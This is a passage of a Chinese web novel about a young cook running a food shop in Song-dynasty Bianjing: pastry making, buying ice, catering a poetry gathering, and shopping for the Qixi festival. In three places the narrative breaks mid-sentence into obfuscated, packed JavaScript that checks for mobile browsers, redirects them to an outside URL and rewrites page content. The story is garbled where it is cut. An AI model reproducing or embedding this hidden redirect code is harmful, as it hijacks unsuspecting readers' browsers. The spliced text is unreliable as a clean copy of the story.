红曲加水搅拌均匀，洒在面粉中，渐渐地和成淡粉色的面团。还要分成小剂子，揉成一小团静置在一旁。 油酥放的猪油就多些，还不用加红曲水，也是揉成团分成剂子。 陆琼把油酥搓成小球，用粉面皮包在外边，擀面杖压成薄片：“这剂子还要拉长条，才擀几下，叠个三叠，这样才能起几层酥。” 金娘看得眼睛发直：“这么讲究，比磨豆腐还难。” 说归说，但做起来却很勤快，两人一下就把面皮弄好。 荷花酥的酥心用玉米油、糖、蛋黄、椰蓉混成一团，放入擀好的薄皮便可。 陆琼在面团上边切成十字，依次放入油锅中，滋滋响，用筷子帮忙炸开，慢慢地就开出花瓣，等它浮在油面上，一朵荷花酥便做好。 25. 贩冰人 新炸的荷花酥瞧着就很酥脆，陆琼把它捞起来，盛在干净的瓷盘里，外边层层花瓣泛粉，内里淡黄，胜似荷花。 最厉害的事，它的酥很薄却不会碎，用手摆弄也不会轻易掉酥。 可金娘也不敢凑近瞧，生怕把它看碎了：“这么多层酥，要怎么保存好？” 陆琼又放了一个粉面团到油锅里，慢慢炸开：“到时放食盒里，不去磕碰应当就不会碎。” 见油温高了还叫金娘帮忙减柴，不然会裂开，且炸成脆就不叫酥了。 这一朵炸完，金娘也跟着上手，第一个没炸开花，像一朵含苞待放的花蕾，又反复炸了三四个才出型。 两人一连炸了近十个，朵朵盛开在盘中，隐隐有香味散开来。 见霜姐儿还在院子跟陆萱逗弄雪儿，陆琼赶忙招呼着她们进来：“荷花酥都做好了，快些进来。灶台旁放好了一盆水，你们先把手洗洗，还有额上的汗也顺道擦擦。” 金娘揪着霜姐儿衣领，一把薅过来，冰凉的手伸-进后项，把霜姐儿冻得一哆嗦。 手心果真扪出不少汗，她见霜姐儿脸上都是通红通红的，把洗脸帕浸-湿才给霜姐儿擦擦小脸，呵斥道：“怎么玩这么久，回头又要换衣裳了。” “小孩都贪玩。”陆琼半靠在门上，见她们各自忙活也忍不住笑。 金娘拧干洗脸帕，绞出的水也顺势滴在盆中：“出汗了容易着凉，到时可麻烦了。” 全都收拾好了，她们才开始尝荷花酥。 陆琼前世吃过几回，但还是头一回吃自己炸的，心里也有些期待，捧一块荷花酥到手心，顺着花边咬一口，味道清淡，只掉了一点的渣，看来很成功。 吃到酥心才是甜的，对她来说甚至有些发腻，却是符合汴京人的口味，见金娘她们吃得眼睛都眯起来就知道。 陆琼觉着这荷花酥倒也不稀奇，还有些像蛋黄酥的口感。不过是外形精致些，适合摆在宫宴里，吃不着也是赏心悦目。 要是配上一盏茶就更完美！ 霜姐儿吃完一块，嘴边、手心都是油酥，身子朝着陆琼，眼里却直直盯着盘里的荷花酥，舔舔嘴唇：“琼姐姐做得点心好好吃！” 小孩便是这般，有点心事全写脸上，但又不直说，偏要叫你猜。 陆琼自是知道霜姐儿这般是为何，笑得两眼弯弯，但就是不戳破，想逗逗她：“谢谢霜姐儿，下回再给你做好吃的。” 霜姐儿没想到自己这招对她不管用，咧开的嘴又收回去，又一脸正色地夸这个荷花酥多好吃：“这个花也好看，比外头买的都好看。” 努力到小脸都皱成一团，把大家给逗笑了。 怕她舌头也跟着打结，陆琼也不捉弄她了，把盘子里的糕点端下来，递到霜姐儿面前：“好吃就再拿去吃。” 霜姐儿不懂她们为何笑，只知道自己费尽心思才获得一份吃食，恨不得沉浸在其中，享受美食。 * 在诗会前一天，陆记旁边的徐嫂鱼羹店便彻底变样。 车夫把一车车配套的木制桌椅拖到陆记旁，一条道放不下还占了陆记店前一小片地。 一道纤细的身影站在门边，指挥小厮把牌匾挂上去：“往左一些，再往上一些......” 搬东西的动静不小，杨姐儿也离得近，手下揉着面团，力道大到整个台子都在震，面上还是担忧：“他们这铺子不会对我们有何影响吧？我瞧这木椅还是新打的。” 陆琼心不在焉地切着胡瓜丝，粗细不一也没发觉：“先看着吧，等过几日再看看，明日的诗会才是要紧事。” 再怎么镇静，也不能改变三娘汤饼店着实对她们有些影响。因着他们摆放各种物件，陆记不可避免有些嘈杂，部分食也跟着不愿意上前光顾。 冷清一阵子，才迎来新的食客，也只是点了一份渴水，许是天热到不行才肯进来。 陆萱无所事事，守在外边长凳下数地砖，数到第七十九块，她们店前停下了一辆独轮推车，车上放着两个大桶。 货郎肩上披着一块布巾，顶着烈日擦净额上的汗，歇一会儿才把陆萱叫过来：“陆掌柜可在这？” 前几日砌的矮墙早已干透，新打的长柜也隔着矮墙几步远安置好，陆琼就站在其中写账本。 这两日进账明显低了。因为街上卖饮子的货郎变多，到陆记买银子的客人就变少，倒是熟客还愿意来光顾。 而汤饼卖出的份量也有所减少，加起来比前些天少了数百文。 陆琼手肘撑在桌上，忍不住叹气，不久便听见陆萱急匆匆跑进来，还带来一个好消息。 “阿姐，贩冰的货郎来了！” 听到这她也站不住了，立刻把账本收到抽屉里，连着笔一块放好。 货郎带的木桶不一般，下边垫了一层干稻草夹杂着木屑，木桶上也盖着厚厚的干稻草，这是用来保温，减少冰块融化的速度。 外边日头正晒，但陆琼刚靠近，还是感到了一丝凉意。 货郎把稻草取下，放在推车一边，露出里边巨大的冰块，有金娘家的豆腐板一半大，陆琼见了眼睛都发直。 好想把手伸进去摸摸！ “陆掌柜，这是一位郎君托我送来的冰。” 陆琼点头，也知道他口中的“郎君”应当是谢询的友人了。 那日说好跟他友人买冰，自然不能占人便宜，该给多少钱便是多少钱，她也问道：“这些总共要多少钱？” “那位郎君说一共是两百文。” 这么低？这两桶加起来可不少，够陆琼店里用上七八日，就算加上诗会也是不在话下。 不过仔细想想也能明白。那位友人应当是看在谢询的面上才给她优惠。既然如此，她也就顺势承下这份人情，只是下回再买就得按原价了。 陆琼若有所思，稍顿片刻便叫货郎等等，回去数出两百文，还多给他十个铜板做报酬。 又因为一桶冰太重，陆琼便叫他帮忙搬到后门处，不然离灶台太近会把冰烤化。 最后还重新找了干稻草铺在上边，若是可以她还想把被子盖在冰上，据说冰窖里就是这样藏冰。 自从见到冰后，陆萱整个人都有些振奋，若是有尾巴，感觉都能翘上天。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910435|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就是杨姐儿不例外，经常借着装水的功夫去偷偷瞧一眼冰。 陆琼也馋，加上天太热，就找人寻来一个锥子和一把锤子，把它们放在水里洗净，对着桶里的冰块敲。 先是表面陷下一道小口子，再沿着缝隙敲，裂的口子更长，多敲几回，一小块冰就掉下来，哐当一声，跟下层的冰块撞在一起。 陆萱跟杨姐儿就弓着腰凑近看，两双眼睛直直跟着冰块移动，忍不住吞下口水。 “阿姐，这冰看着好好吃！” 陆琼被她这话逗乐了：“冰怎么个好吃法，叫你干吃冰也乐意？” 陆萱手撑在膝盖上有些累了，但还是笑着点头：“就是只吃冰也好，好凉快。” 陆琼觉得好笑。要是真的迷恋上吃冰，那便是缺铁了，还有些贫血，得赶紧补补。 接下来就简单，把这块冰敲碎，放在渴水上就是一道冷饮。 不过陆琼想着已经到这一步，再多做几步也无妨，干脆把诗会要用冰雪冷元子做出来，也免得明日无从下手。 元子就是各种小汤圆，用糯米粉加上各种馅料搓成小圆子便可。 刚愁没有现成的馅料用，杨姐儿就把早上蒸好绿豆泥拿出来：“今日不小心洗多了豆子，还有些没用上。” 陆琼笑着把盘子接过来：“正好，用来做绿豆馅的圆子，再去盛一碗糯米面来。” 灶台上的架子放着齐全的调料，陶瓮里的糖还有大半，陆琼直接倒了小半碗到绿豆泥里，洗净的手搅拌成团，硌手的糖粒也融进豆泥里。 撒上一碗糯米粉，面团的颜色就变淡，不过并不影响口感。 和好面后，杨姐儿也跟着一起搓成小圆子。很快一粒粒雪白的糯米圆子都挨个放在板上。 陆萱见还剩一小块面团，主动去开火，把锅里不用的水倒掉，水流顺着挖好的小沟流到外边。 趁着下边的火烧起来，她就重新把凉水倒入锅中。 陆萱怕火不够旺，还拼命塞稻草、干柴，小脸被火烤出汗来，还不肯离开一步。 眼睛也一动不动，火光倒影在瞳孔中，心里祈祷着水快些沸腾。 许是上天听到她的祈祷，水渐渐开了，发出沉闷的咕噜声。 “阿姐！水开了！可以下圆子了。” 说完就迈着步子噔噔噔跑到她们身边，把圆子都捧在手里，倒进水里。 小圆子都被烫得翻滚着，上下浮沉，水面也不断冒着泡。 不知是被这圆子逗乐了，还是被陆萱这急切的模样都笑了，总之陆琼笑得挤出泪花。 平日“沉稳”的杨姐儿也先她一步抢过长木匕，不断在锅中搅拌着圆子，防止它们粘在锅底。 小圆子刚浮起来，就被捞起来，还要过一回凉水，这样才会弹牙，口感更好。 先前的冰也有些化了，更容易敲碎，陆琼尽力把它们敲成冰沙样，全放在碗中。 一勺圆子、一勺冰，加上一小碗水，拌在一起就是冰雪冷元子。 泛着绿豆的淡黄色，小圆子入口弹牙，还有丝丝凉意浸入心脾，带走夏日的燥热。 26. 荷花池 诗会定在巳时开始，也就是早食过后，所以陆琼她们天还没亮便忙活起来。 屡屡炊烟从陆记的屋顶升起，倒水、揭盖、炸油声此起彼伏，屋内一隅还点了几盏灯，在墙上映着几人做事的身影。 灶房开了两口锅，分别煮着杨梅渴水、木瓜渴水，无需炖多久便都化开。陆琼揭开锅，倒入小半碗冰糖，用长木匕搅拌几回，空气中便散发着甜蜜的气味，很香甜！ 毕竟今儿选的是番木瓜，果皮偏橙黄，比起偏青的木瓜，这种木瓜的果肉更软更绵，即便生吃也不会觉得硬。 渴水还呼呼冒着热气，陆琼把它们一勺勺盛进器皿里，拖到墙角放好，等走时再把冰块放进去：“这也能蒸糕点了。” 杨姐儿应声好，就把第一批捏好的广寒糕放在甑上，架在锅后顺手掩上木盖，等下一批捏完就放到旁边新起的灶上。 陆萱挨着灶台坐，双膝合作一拢，低头凑近灶口，时间一长脸上便被火烤得通红，手里的蒲扇也跟着一扇一扇。 陆琼好容易才歇一会儿，却见金娘还在搓圆子，粗略估计只有百来个，份量远远不够，便重新取出一些糯米面，打算再和多些面团。 她本来还担心金娘起得早会不习惯，却没想刚到金娘家，就见人家披好褂子等她来了，没多寒暄又摸着黑急匆匆赶到陆记。 金娘把新和的面团拉成长条，搓细，捏一小块搓成圆子，听她说起这事笑着道：“我平日就早起惯了，把前夜泡好的豆子捞出来，就要去磨豆子。” 陆琼搓圆子的手慢了些：“那今日岂不是卖不成豆腐了？” 本想着赶快做好，这样金娘还能早些回去卖豆腐，却忘了做豆腐也要费不少时间。 不过金娘倒是不在意，还反过来安慰她，笑一声：“琼姐儿莫急，我家郎君去卖就行，其实平日里也都是他在磨豆子，我只是在旁做监工。” 又道起家事。金娘说他们夫妻二人是暮春时节才来的汴京城，只比陆琼早三四月，起先是在虹桥边上住，后来挣些钱才搬到通济坊。除开日常花销，他们会把大部分钱寄回乡下，所以来汴京半年，还没有攒下什么钱。 说到这，金娘也有些感叹：“汴京太大，寻找挣钱的法子却也不易，还好我能靠一门手艺养家。” 对比下来，陆琼倒是幸运的。 没有养家的负担，就能更快攒钱，盘下铺子后也能挣更多钱。随后她也默不作声，只把手中的圆子加快搓好，如今说什么都不大合适。 糯米圆子咕咚跳下锅，溅出不少小水花到灶台上，园子捞起来过凉水，就差不多做成。 她们昨日也都尝过冰雪冷元子的滋味了，不仅香甜，还冰凉解暑，定会受到许多人的喜好，所以就多做了些。 荷花酥是最后炸的，毕竟放置的时间一久便不酥脆了。 陆琼要敲冰，杨姐儿要准备开铺子，这活儿便交由金娘。所幸金娘也早有准备，一次就炸成酥，荷花酥外表清透，还冒着热气，刚出锅便被装到食盒里。 待饮子、元子加了冰，应天书院的仆役也恰好派人来接应。 他们先将装有饮子的木桶搬上板车，随后是蜜饯、茶叶，盛糕点的食盒最后放，叠起来有半人高。 陆琼扶着食盒，想着近来生意冷清，就是她不在，杨姐儿跟陆萱也能照看好：“你们都留在这罢，我一人去就行，杨姐儿记得在食客的饮子里加冰，萱儿也记得收钱记账。” 杨姐儿连连应下，而陆萱这些天写字有所长进，也学会记账的皮毛，只要不涉及算账，就不算太难。 可金娘看着满满一车的吃食，皱起眉：“你一人可忙得过来？” 陆琼擦擦额头的汗，眯眼笑：“自然忙得过来，金娘你就早些回去，这会儿还能赶上出摊卖豆腐。” “也罢，届时也有人帮你，要是忙不过来再叫我，总之这书院离龙津桥也不远。” 金娘说完还是担心，目送着他们离去，直到过了州桥，没入人海才肯回家。 * 到应天书院时，时间尚早。 那日的书童不见，换了别的仆役在门口等候着，互相行礼后，他叫人把食盒一一卸下，便带陆琼移步到院内。 她独自提着一份茶叶，听着仆役道起书院的来历，山上、堂长的为人，不多时便来到荷花池。 池边设有数张桌案，已提前摆好杯盏、碗盘，看样子是两人一席。毕竟在宋以前还是主张分餐制，不论书院较为讲究，遗留着前朝的风气，就是大型宴席也多为一人一席。 书院的仆役将糕点、饮子依次分好，并在高足盘上放些蜜饯干果，诗会便可开始。 院内古木参天，树荫蔽日，倒也不会觉得炎热，但陆琼还是躲在廊下偷看。 学子们衣着光鲜，一脸春风，看模样都想在诗会上一争高下。众人落座，辩论，探讨诗词歌赋，一来一回，言辞犀利，见解独到。 陆琼听了一会儿便觉得枯燥，端起一盘点心到凉亭处，便见一人席地而坐，身穿粗布衣衫，手中拿着一本泛黄的旧书。 这人瞧着有些眼熟，总觉得在哪见过。 可荷花池边只有这一处凉亭，她也不能跟一帮学生同坐一起，看着甚是突兀。这般想着就迈上台阶，托盘噔一声便放在石桌上。 好在一旁的书生并未受影响，嘴里念念有词：“物有本末，事有始终。知所先后，则近道矣......”① 陆琼左手捏了小块梨花酥，刚咬一口，还未来得及细细品尝其中的咸香，酥渣就落了满地。 有些噎，怕吵到人背书，她闷声捶打着自己胸口，好久才缓下来。 又觉得自己吃独食不好，陆琼把糕点推向书生：“这位小郎君，可要尝一块梨花酥。” 杜延拱手行礼，却回绝了她：“多谢好意，可我如今口欲已足。” 陆琼消化好一会，才听懂他这是不饿，不想吃。 但还是想推销一番自家的糕点：“梨花酥有些许油腻，那广寒糕如何？只有一股清淡的桂花香，用了最细腻的白面，不会过于甜腻。” 许是广寒糕的香味过于霸道，杜延闻着便不断吞咽口水，早食只吃过稀粥，现下被这香味一勾，还真觉得胃里有些空。 他便伸手收下，心里安慰自己，这是盛情难却...... 陆琼假装在看院内学子吟诗作赋，余光却是瞥向他。 杜延早已将书合上，置于石桌边。刚咬一口广寒糕，就见他瞳孔微微放大，眉头也舒展开来，浑身散发着喜悦的气息。 “若是有些噎，就去盛些渴水来，酸甜可口，还用了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922339|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰，很是爽快！”陆琼见他尝第二块，笑着提醒，毕竟自家点心得到认可还是叫人高兴的。 杜延被人捉个正着，面上有些羞涩，挺直腰背，不作声，却默默将剩下糕点吃进腹中。 见盘中还剩了不少，便想带回几份给杜哉尝尝。 诗会接近尾声，陆琼也该去找山长要剩下的报酬。找仆役问路，才知山长躲在一处乘凉。 周边是竹林，路上铺设有鹅卵石，时下鞋底薄，她每踩一脚都能感受到石子的弧度，算是做了回足底按摩。 所幸路不长，穿过竹林就见山长坐在凉亭下，面前摆着几份糕点、渴水，淡绿琉璃盏上装有透亮的圆子，还有几块未完全化开的碎冰。 盘上的糕点吃了近半，尤其是荷花酥，一块不剩，只剩下一点酥渣。 陆琼也是头回见山长，与堂长年龄相仿，看上去更加正色，却没想到背地里是却如此偏好甜食。 山长本还想尝一块桃花酥，见她来了收回动作，还顺手捋平衣摆，沉声道：“今日带来的点心都不错，咸甜适中。” “福生。” 站在一旁的书童“唉”一声，便将袖口里的荷包取出来，递给陆琼：“这里是余下的八两银子，小娘子收好。” 陆琼也笑着收下，挂在腰间，挨着藕粉的钱袋，跟山长说些无伤大雅的话，谈谈琐事才告别，顺着原路离开。 途径荷花池，还遇见了堂长，见陆琼荷包鼓鼓嚷嚷，打趣她：“陆掌柜今日收获颇丰啊！” 陆琼问到一股淡淡的油酥味，以为是身上沾染的，便压下心中疑惑笑着回话：“承蒙堂长关心，若不是堂长，我也不会走到今天。” “你这话术是跟谁学的？怎么沾染了某人的风气。罢了，我还要去前院处理事宜。”堂长笑眯眯，说罢便负手离开，却将袖中的油纸露出一角。 堂长竟偷偷藏了糕点，这般说下来，收获颇丰的应当另有其人吧！ 且堂长去的方向，好似是灶房...... 一个山长，一个堂长，都是好吃之人，举办诗会怕不是为了吃？ * 前些日给了二两定金，算上今天的八两，再除去成本，这一单就净赚六两多，比得上陆记近一月的利润。 陆琼一边走着，一边盘算这笔钱该怎么花。 这月铺子租金二两，街道司有一两税费，宅子租金五百文，这样就少了近半，还有一两银子是给金娘的。 她本想这月换个大些的宅子，最好自带水井，还有地方养牲畜。 可如今花钱如流水，根本攒不下太多钱。 不过接下来也能过得富足些，陆琼决定去置办些家当，改善下住宅条件也好。 未走太远，就见金娘守在龙津桥边，板上豆腐也所剩无几，朝她笑：“真赶巧，我也正打算回去呢。” 陆琼笑着不语，把荷包解开来，偷偷塞给金娘一块银子：“这是给你的报酬。” 金娘还未反应过来，捏着手里的银子以为是石头：“你可真会唬人，哪里捡来的石头......” 不对，这手感，怎么还沉甸甸的。她这下也察觉过来，低头就被这银光闪瞎了眼，心也跟着空了一拍，说不出一句话。 “这，这竟是......银子......” 27. 绣花鞋 金娘说完便捂住嘴，赶紧把钱塞进腰间，连着钱袋取下来放进背篓里，还用戥子遮好，不露出半点布料。 毕竟树大招风，要是这银子丢了，她可是会心痛死。 见她这般小心，陆琼拉着她的手便是一顿笑，险些直不起腰，缓过来便打算去置办些日常物件。 “待会儿我要去街上逛逛，顺便给家里添些家当，你可要一同去？” 金娘点头，干脆把摊子一收，拍着胸脯说也要跟着去。 挣了大钱，可不就得花出去。 七月初七，便是乞巧节，距今只剩四五日，这街上贩卖乞巧之物的货郎也跟着多起来。 卖货郎摇着波浪鼓，跟陆琼展示一盒胭脂，把好话全说尽，还夸她沉鱼落雁，闭月羞花，就差说她倾国倾城了。陆琼被逗乐了，摇摇头便拽着金娘继续往前走。 还没走多远，就听见他用同样的话术来夸赞另一位小娘子，原来都是套路！若是生在后世，说不准也是直播带货的好手啊。 剩下不少摊位亦是摆着磨喝乐、花灯、巧果......都是些乞巧之物，不稀奇。 磨喝乐大多是用陶土、木料捏成的，有坐着大笑的、互相打闹的、趴在地上的孩童，看起来都充满童真，而泥人的手艺也将这些磨喝乐刻画得栩栩如生。 陆琼看中一个手持拨浪鼓的泥娃娃，圆圆的脸蛋，特别讨喜：“这要多少钱？” 泥人张把刚制成的磨喝乐摆到红漆木架上，还未擦去手上的干泥土，抬头应道：“单个泥人十五文，成双的要四十文，若是一双一单都买就是五十文。” 不算贵，何况这手艺也值得，陆琼便把钱爽快给了，到时就给陆萱一个惊喜。 金娘更是深藏不露，不仅买了两个磨喝乐，还到别处把巧果、酥糖提前买了，装了满满一背篓，就差花灯。 且每一文钱都被她算计好，绝不多花，按金娘说的，过两日只会更贵，不如现下就买齐，届时也不怕买不到。 陆琼觉得也是这个理，附和着多说几句。 一路走到成衣铺，陆琼想起平日穿在身上的布料不透气，在灶房待久便出汗，整日下来都不爽快，不如趁此机会去买些薄衣服裳。 金娘也想给霜姐儿置办几身衣裳，就拉着她一并去，路上还不往倾诉：“六七岁的孩童，身子窜得快，去年做得衣裳今年就短了，再这样下去，就得去扯些布料缝起来。” 陆琼也感同身受，陆萱的衣裳就是她年复一年缝缝补补来的，属实无奈，毕竟小孩身高窜太快，还没钱一直买新衣。 所幸来到汴京就把那些破衣裳换了，不然别人见了指不定要说她虐待妹妹。 成衣铺的成衣通常是三百文一身，料子极好的，还能涨到几贯钱，可是陆琼半月的收入都不止。 不过她买衣裳讲究实用，选的都是衣摆短窄的，方便干活，一般这样的成衣，三百文左右就能买下，便顺手挑了件鹅黄色的直袖衫，还有件浅紫的薄开衫。 这成衣铺也卖鞋子，就给陆萱挑了双碧青的绣花鞋，颜色清新，还好看。 陆琼也常常庆幸这时的宋朝还未盛行缠足，小头履也很少见，寻常的草鞋、薄履、绣花鞋才更为流行。 见买得多，店里掌柜也笑呵呵地围着转，亲自给她们的衣物耐心包好。 金娘拿在手中，摸着顺滑的料子，又想起过几月天就转冷：“琼姐儿，你家可有过冬的衣物，待天冷时汴京的炭可要几十文一斤，整日烧可耐不住。” “还没，等秋收完了再看看。”在陆琼看来一切尚早，往年在上元村也是十月才最冷，蹲在家里灶头烤火也能熬过去。 金娘听她的话急得想跺脚，苦口婆心道：“还是要尽早找人买些芦絮，不然到时芦絮的价钱都要赶上成衣了。” 她可是太清楚了，有些商人是如何坑骗百姓的钱，平日十文的货物，买的人多就会涨几倍不止，要是粮食也这么涨..... 剩下的金娘都不敢想。 虽说他们过冬的衣物大多是芦絮、丝绵填充，不算太暖，却也是件过得去的御寒之物。毕竟有的连芦絮也买不起，天冷时被冻死的、饿死的不在少数。 陆琼还没应声，守在一旁的掌柜笑得从容：“二位小娘子不妨瞧瞧棉衣，用的棉花可是来自边疆，比什么芦絮都更暖和。” 说着就掀开门边的帘子，从里屋拿出一件厚厚的棉衣，摸起来很暄软，比不上后世的手感，却是陆琼这几年间见过最好的棉衣。 掌柜也顺势把价钱说出来，竟要一贯多，这可比陆琼前边花得还多。 不过也能理解，毕竟棉花种得少，现下还只有边疆有，若不是近来跟边疆商业往来密切，能够传入中原的棉花变多，这棉衣的价钱只会更高。 但陆琼也舍不得花一贯钱去买棉衣，更别说金娘，两人相视后便摇头离开。 因着陆琼还要去铺子里看看，金娘便先提着东西回去，一路上歇歇走走，不断还手，喘着粗气走了一路才到巷口。 在见到霜姐儿的笑时，她才恢复了些力气，又把新买的酥糖取出来，放在霜姐儿手心：“这是酥糖，等过几日娘就带你去看花灯。” 霜姐儿眼睛跟着发亮，小块的酥糖还放在手心，想迫不及待到乞巧节那日，随后才把糖吃进嘴里，还意犹未尽地舔舔掌心：“好吃！” 再跟她说些乞巧的事，金娘就提着东西进屋子。 这一背篓东西看着多，却只花了二百来文，加上陆萱的衣裳，也是四百多文，剩下的半两银子金娘准备藏起来。 她从床底下取出巴掌大小的木箱子，外头上了锁，解开便见里头放着些碎银子、小簪子、戒指，还有不少铜板。 这都是来汴京半年好容易才攒下的。可粗略看一眼，不算上首饰也才二两多。上回霜姐儿生病就花了半贯钱，也叫金娘切身体会到钱多重要......她还要再赚更多钱。 藏完钱，金娘情绪也迅速转变过来，兴冲冲地跑去洗新买的羊肉，虽然只有半斤多，但这可是真的羊，而不是被叫“小宰羊”的豆腐。 她打算炖一小锅羊肉，剩下一些放胡椒、酱、盐、面粉腌制，再下锅炒，又香又酥！一边想，一边把羊肉切成块，等郎君回来也好叫他高兴一番，毕竟家里也好长时间没吃过羊肉了，这下也能补补身子。 与金娘分别后，陆琼独自跨过州桥，就见隔壁的汤饼铺已经装修好。 远远望去，铺子比以往更亮堂，还宽敞不少，崭新的桌椅也已经搬进去，木料漆得油光水亮。不过铺子里有些冷清，只有后门的帘子被放下，隐隐窥见有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943202|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 操劳的身影。 这应当就是三娘了。 就是不刻意打听，陆琼也能在自家铺子里听别人聊起这位三娘，左右不过是相貌好、手艺好，光顾的食客多，把人家夸得上天入地，连陆琼都好奇这位三娘的手艺了。 不过眼下还有更打紧的事，这还是她头一回不在陆记，也不知道杨姐儿她们能不能顾得过来。 再回头瞥一眼门上的牌匾，陆琼就转身走进陆记。 先是看到杨姐儿认真捞面的身影，再是陆萱跟食客欢快聊天的场景，看她们这般，应当是一切安好，她也能暂时把心安下。 “阿姐，阿姐！” 陆萱没多久便捕捉到陆琼的目光，眼神瞬间亮了，好似见到盼望已久的人，撇下食客便跑到她身边，把今日如何招待食客，如何敲冰的事全都一字不差讲给陆琼听。 听得陆琼忍不住笑，打趣她：“一上午未见，你怎么变成小鸟了，叽叽喳喳叫不停。” 若是换了平日，陆萱定要跟她斗嘴，但今日不一般，就决定让着阿姐。 聊完天，陆琼便去存冰的后门探一眼，除去今日敲下的冰，余下的冰块都放在桶里，像先前一般盖上干草。 掀开木盖，一股冷气扑面而来，冻得她直哆嗦，数数还有三大块冰。 陆萱依旧紧紧跟在她身后边，伸出手指，算今日用的冰：“阿姐走后，我跟杨姐儿敲了半块冰，能做四十份渴水。不过冷元子更好卖，害得我跟杨姐儿今日不知搓了多少圆子，可累了。” 低着头苦苦叹气的模样，可真是叫人心疼，偏偏陆琼也吃这套，揉揉她的脑袋，又锤锤她的肩，面上带着笑：“真是辛苦了，为了奖励萱儿，我方才还买了双新鞋，还是带花的。” 听到有新鞋，陆萱忧愁的小脸迅速转变为喜色，睁大眼睛，嘴角根本掩不住上扬，忙着追问新鞋在哪。 陆琼有些无奈，只好先按下这只又蹦又跳的小兔子，才在她期待的目光中把精美的绣花鞋取出来。底下是淡雅的月白色，鞋尖微微上翘，鞋面上还绣有并蒂莲，粉白与碧绿交织，很是好看。 陆萱摊开手，小心翼翼接过，再用手轻轻摸着鞋口镶的珠子，就怕下手重一些鞋子就会破。 先前她常穿的鞋是草鞋，后来换成麻布制成的麻鞋，比草鞋耐用，但是穿久了脚底也会不舒服。不过前些年阿姐用粗布给她做了一双布鞋，穿在脚上特别舒服。 更别说这双看着便贵的绣花鞋，应当是更舒服。 陆萱赶紧把鞋试上，柔软的绸缎贴着她的脚背，很舒服，有些大却不打紧，毕竟还在长身子，穿着穿着便合适了。 眼里藏不住笑，她就在后门这狭窄的地方来回走动，鞋口的珠子也跟着轻轻晃动。 见她喜欢，陆琼也跟着高兴，靠在墙上一脸欣慰。 送走晌午最后一位食客，陆琼才从钱柜里拿出一小块银子，这是给杨姐儿的报酬，毕竟今日可是连着做了好几个时辰。 杨姐儿已经没有起初那般的惶恐，笑着把钱收下，忽地“哎”一声，又从旁边的抽屉取出一个荷包：“这是今儿食客掉落的，至今还没人回来取。” 银灰色的荷包？ 看着有些眼熟，不过陆琼暂时也想不起来，便顺手把它放入钱柜里，跟账本挨在一起。 28. 碎金饭 陆记的冰雪冷元子卖得好，到晌午时，只剩下几碗的量。 陆琼便全都盛出来，笑着给杨姐儿分一份：“这些你带回去吃，不过今晚我们得早些来，提前把圆子搓好。” 冷元子里还有细小的碎冰，杨姐儿眸子闪着光，应声“好”便笑着把手捧在碗壁上，丝丝凉意传到手里。 她昨日就尝过这元子的滋味，但叫她自己买还舍不下心，毕竟一份就要二十文，还不如买一碗羊肉汤饼。可陆掌柜很大方，连带着她也喝汤吃肉，每月还能攒下不少钱。 杨姐儿心里感激，便只好更加用心做糕点、做汤饼来回报她。别说早些来，就是一整日待在铺子里也不觉得累！ 午后照常闭店。陆琼穿过巷子，便见隔壁人家有一颗高高的枣树，越过墙头，长长的枝叶被压弯，能看见上边开着嫩黄的小花，也许过段时日就能结枣了。 推开门，雪儿还待在枣树的荫蔽下酣睡，听见动静也未醒来，陆萱就跑过去摸摸它的背。 陆琼把新买的衣物整理好，放在床榻边的案几上，打算待到黄昏时再拿去汴河洗。怕记性不好，她干脆把皂荚提前取出来，放在显眼的地方，好提醒自己。 今儿没来得及去市集买肉，家里灶房也没有适合的食材，陆琼打算找闲汉去酒楼订菜。 好在通济坊有专门跑腿的闲汉，刚搬来汴京没几日，便有闲汉提着茶瓶来送茶，凡是有需求，无论是传话送信或是买卖交易，都能找他们帮忙。 平日里，闲汉就提着茶瓶在巷子里游走，陆琼站在门边，无需片刻就遇到。 赶紧把人叫住，并给他十五个铜板当报酬：“要红楼的碎金饭两份，香酥鸭子一份。” “好哩。”闲汉把钱收进钱筒，顺手把茶瓶拎起来，想给她倒上一盏茶，陆琼便摆手回绝。 刚送走闲汉，就见金娘捧着一只碗走来，上边还冒着稀薄的热气。 “这是羊肉？方才新买的？” 陆琼闻着炒羊肉的香味，忍不住咽了下口水，更何况卖相可好，焦黄流油，上边还撒上一层芝麻，定是好吃极了。 金娘哎一声，一路顶着烈日赶来，脸颊边浮出淡淡的红晕，有些不好意思：“做的不多，就只能给你这一点来尝尝鲜。” 金娘家也不阔绰，不仅要养着霜姐儿，还要给城外的家人寄钱。就是夫家也拮据，只是郎君的爹娘早早离世，也不用操心别的事。 